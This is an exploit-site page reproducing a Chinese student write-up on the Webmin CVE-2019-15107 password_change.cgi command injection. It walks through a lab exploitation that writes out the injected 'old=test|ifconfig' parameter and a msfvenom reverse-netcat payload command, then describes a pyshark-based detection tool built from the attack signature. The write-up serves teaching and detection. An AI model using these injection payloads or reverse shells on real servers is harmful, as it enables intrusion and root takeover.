Sploitus

Exploit for detect-CVE-2019-15107-by-pyshark

kitploit · 2026-09-04

Exploit Code

MARKDOWN102 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-GOZN-DETECT-CVE-2019-15107-BY-PYSHARK
# detect-CVE-2019-15107-by-pyshark

I. CVE-2019-15107 概述 Webmin 是一个基于 Web 的 Unix 系统管理界面。使用任何 Web 浏览器,我们可以设置用户帐户、Apache、DNS、文件共享等。 2019 年 8 月 10 日,土耳其网络安全研究员 Özkan Mustafa Akkuş 在 DefCon 上公开了此零日漏洞,同时发布了一个 Metasploit 模块以自动化利用该漏洞。由于 password_change.cgi 文件的密码重置功能中存在代码执行漏洞,允许第三方在无需输入验证的情况下执行恶意代码。 II. 受影响版本 该漏洞影响 Webmin 1.882 到 1.921 版本。为防止此漏洞,使用 Webmin 的用户应更新至最新版本 Webmin 1.93。 III. 漏洞分析 在 Webmin 中,需要启用“允许更改用户密码”功能才能利用此漏洞。这是唯一条件,但许多 Webmin 管理员会启用此功能。它允许用户使用旧密码设置新密码。在 Webmin 应用程序源代码中,有几个值得注意的“.cgi”文件。其中之一是 password_change.cgi。 ![image](https://assets.kitploit.com/production/public/readmes/26017/21d20958bec5992792b6613d97d17a0b3ff8212ab459a397e1f05c76d44e417a.png)

此文件中的参数能够工作的唯一要求是配置文件“miniserv.conf”中的“passwd_mode”值设置为“2”。

![image](https://assets.kitploit.com/production/public/readmes/26017/f9be17052e75f6924189ab18c59f22cd3155db6ffabe2651da9ae1c485aa9cb0.png)

此时,我们将利用“|”在旧密码验证过程中读取 /etc/shadow 文件。例如正常的密码更改命令: ![image](https://assets.kitploit.com/production/public/readmes/26017/c29b432f0499dae829692604c0e9b8c0c1107f1aee7950fcaf4b4c85fe2e6bb6.png)

如果我们像下图所示在密码更改命令中插入一个简单的命令如“ifconfig”,那么“ifconfig”命令就会被执行并显示结果。 ![image](https://assets.kitploit.com/production/public/readmes/26017/271e965e3202338248e5fd7809cf746b4f0ae645930854f2b7539e0e57b9d725.png)

IV. 部署模型

  * Ubuntu 主机(受害者)安装 Webmin 1.920 版,IP 地址:192.168.109.128 ![image](https://assets.kitploit.com/production/public/readmes/26017/b8b56838c9261f4498f953039c62ef09bb32697b6ef845a60725e216f1ad8579.png)

  * Kali 主机(攻击者)IP 地址:192.168.109.131 ![image](https://assets.kitploit.com/production/public/readmes/26017/1b1e1244280d74ba0eca0733a291d4d1b54cca16e22f9f07e79372fa98c7ac05.png)




  * 由于该 CVE 基于 Webmin 在旧密码过期时重置密码的功能执行,因此受害者必须将 Webmin 设置为“提示密码已过期的用户输入新密码”模式。 ![image](https://assets.kitploit.com/production/public/readmes/26017/a4e9a331d28349392177e697a125bc740129b89ade7e8731c0072a5695ba6797.png)



V. 漏洞利用 CVE

  * 首先,攻击者机器使用 Burp Suite 捕获从链接 192.168.109.128:10000/password_change.cgi(受害者 IP)向 Webmin 发送的更改密码请求。 ![image](https://assets.kitploit.com/production/public/readmes/26017/bd38d8614a9a2cc59a9ddd76f1e5953fc93c19806818b335e8a6f50962334362.png)



  * 然后将此请求发送到 Burp Suite 的 Repeater 选项卡进行测试。 ![image](https://assets.kitploit.com/production/public/readmes/26017/55601cfa8436828d98ac16f45a71ee9fa8da2408539e24fba52d904439d13a1a.png)

  * 攻击者修改捕获到的请求包中的一些信息。因为要更改密码,HTTP 方法必须是 POST 而不是最初的 GET。 ![image](https://assets.kitploit.com/production/public/readmes/26017/79c5d261aaff904d000d0733b982d011ab7f9b662da5f4be4f0fae70159581ff.png)




  * 然后攻击者发送一个尝试使用旧密码更改密码的请求到受害者 Webmin 服务器: “user=test&pam=&old=test&new1=test2&new2=test2” ![image](https://assets.kitploit.com/production/public/readmes/26017/d4b81b448729487155e9457ed908371bf0f7d8ec2cfe0a30b6e7ffb72e16aaf2.png)

  * 发送请求后,会收到旧密码不匹配(The current password is incorrect)的提示,因此关键在于“old”参数。

  * 接着尝试在 old 参数后插入一个基本命令如 ifconfig,这样当服务器检查旧密码时,就会同时执行插入的命令。例如: “user=test&pam=&old=test|ifconfig&new1=test2&new2=test2” ![image](https://assets.kitploit.com/production/public/readmes/26017/86eecbb9fca6bd83f6fcceca0bf9a244776377c21dbc9c8f3f4770d5e8316f51.png)

  * 同样,服务器检查旧密码时仍然是错误的,但检查之后,“ifconfig”命令已执行并显示结果。

  * 然后,为了获取 root 权限,我们将使用 Metasploit 框架创建有效载荷发送到受害者的 Webmin 服务器以接收 shell 会话。 “msfvenom -p cmd/unix/reverse_netcat lhost= lport=” ![image](https://assets.kitploit.com/production/public/readmes/26017/3e3f07e689d3539b562cedbc7d72a9c97049e1f15bc1feaac785076c4f54cf71.png)

  * 接下来,复制有效载荷并插入到 Burp Suite 的请求中。 ![image](https://assets.kitploit.com/production/public/readmes/26017/97a5f74f625bc9fdf6fd2a101e67fb7fbf08b9e98bfebec6dd91d47f3efffe91.png)




  * 发送包含有效载荷的请求到 Webmin 服务器后,受害者机器被反向 shell 攻击。攻击者机器接收到受害者机器(IP:192.168.109.128 端口 37218)的 shell 会话。 ![image](https://assets.kitploit.com/production/public/readmes/26017/977221ad87cdcb574c3500d5923f7d1b4b2e8321a70dfdd11004ab346b2e555c.png)

  * 这样,我们就通过此 CVE 漏洞获取了 root 权限。 ![image](https://assets.kitploit.com/production/public/readmes/26017/92d227e2a878e13338af347dd2b1e69f85b04f849c56ba931360cc13bc36c4f8.png)




VI. 确定攻击特征

  * 使用 Wireshark 捕获网络层的数据包。 ![image](https://assets.kitploit.com/production/public/readmes/26017/f56ece93a9d8a3aaf4038b1a107ec1d2e33616c0e9eef43717cfc38275d4532e.png)

  * 由于利用此 CVE 时,攻击者必须通过路径 /password_change.cgi 使用 HTTP 的 POST 方法发送含有恶意有效载荷的请求,因此我们需要分析 Wireshark 捕获的 HTTP 数据包。 ![image](https://assets.kitploit.com/production/public/readmes/26017/0fd50d3a6e8b4d11d6a12df75055d2e5cc2cbac89abd6b88a1eea4c399954757.png)

  * 可以看到,在 Webmin 服务器检查要更改的旧密码的过程中,插入了“ifconfig”命令。 ![image](https://assets.kitploit.com/production/public/readmes/26017/81643648601f3c40fa8cbd780310e96141daf805f2f13575b0ef3a8504c0b343.png) ![image](https://assets.kitploit.com/production/public/readmes/26017/475896f5d200a021b9a2ad8d1a8eae11eac25b66a2b62b8f47d434e2aeec1d2f.png)




  * 因此,我们确定此 CVE 的特征是通过路径 /password_change.cgi 进行密码更改时传入的参数: “user=test&pam=&old=test | <攻击者想要执行的命令> &new1=test2&new2=test2” VII. 构建 CVE-2019-15107 攻击检测工具

  * 根据以上分析,攻击者要利用此 CVE 必须将命令插入到 old(“旧密码”)参数中才能发动攻击。 ![image](https://assets.kitploit.com/production/public/readmes/26017/00155e2165381bd95997b3531c21663c28f7cee5ce9a39c81c512dbeb8dc9eca.png)

  * 要检测是否有人在尝试基于此漏洞插入命令,我们需要使用“pyshark”工具捕获并分析他们发送的 HTTP 数据包。 ![image](https://assets.kitploit.com/production/public/readmes/26017/f0d59a7c5d00f3dee19388334c46c9853a71e104cbc9d989b9a8414697048ddb.png)




  * 捕获到的 HTTP 数据包中的数据以十六进制形式返回。根据“old=”和“|”参数,我们可以判断是否有人在尝试利用此 CVE。checkPayload 函数用于检查 HTTP 数据包是否存在问题。 ![image](https://assets.kitploit.com/production/public/readmes/26017/0be841349ca5e16acb4255cb4bea7e1d20fabc976ea39a1c8fb4f918d065f781.png)

  * 接下来,在确定有问题的 HTTP 数据包后,getCommand 函数将打印攻击者正在执行的命令。 ![image](https://assets.kitploit.com/production/public/readmes/26017/bf6b4c06b1bb1592820b144ecd800b30c316e2738b45252e721e2325ad405099.png)

  * 捕获和分析数据包的过程也会记录为 .csv 文件。 ![image](https://assets.kitploit.com/production/public/readmes/26017/665902a06e1028e030c6c3a8453fcb9c4185f33f390a3a0e9edba6f49c5d34e7.png)




VIII. 程序演示

  * 当攻击者发起攻击时,程序会实时报警。 ![image](https://assets.kitploit.com/production/public/readmes/26017/b4b70dae2dc338a4801bd6d07954e33f57d185080281d7019aa410d59c7f0bf4.png)

  * 程序停止时,会将程序运行期间捕获的所有流量记录到一个 .csv 文件中(HTTP 有效载荷以十六进制形式)。 ![image](https://assets.kitploit.com/production/public/readmes/26017/55bb4ecb7c8be0011eec61913a85934970344137a9d5fe9935d4a0b927a7c993.png)

  * 程序还会记录危险警报日志。 ![image](https://assets.kitploit.com/production/public/readmes/26017/4e1f0393e47c1907c6373d5022a8305d0e8c9be4fe472ad207b9d8dbfb27ed47.png)




IX. 结论 通过在课堂上的学习和实践,我能够部分了解恶意代码的分析过程。在实施漏洞利用和构建 CVE-2019-15107 检测程序的过程中,我将所学知识应用于通过特征分析检测漏洞,从而提高了分析、检测和处理信息以及网络安全监控的能力。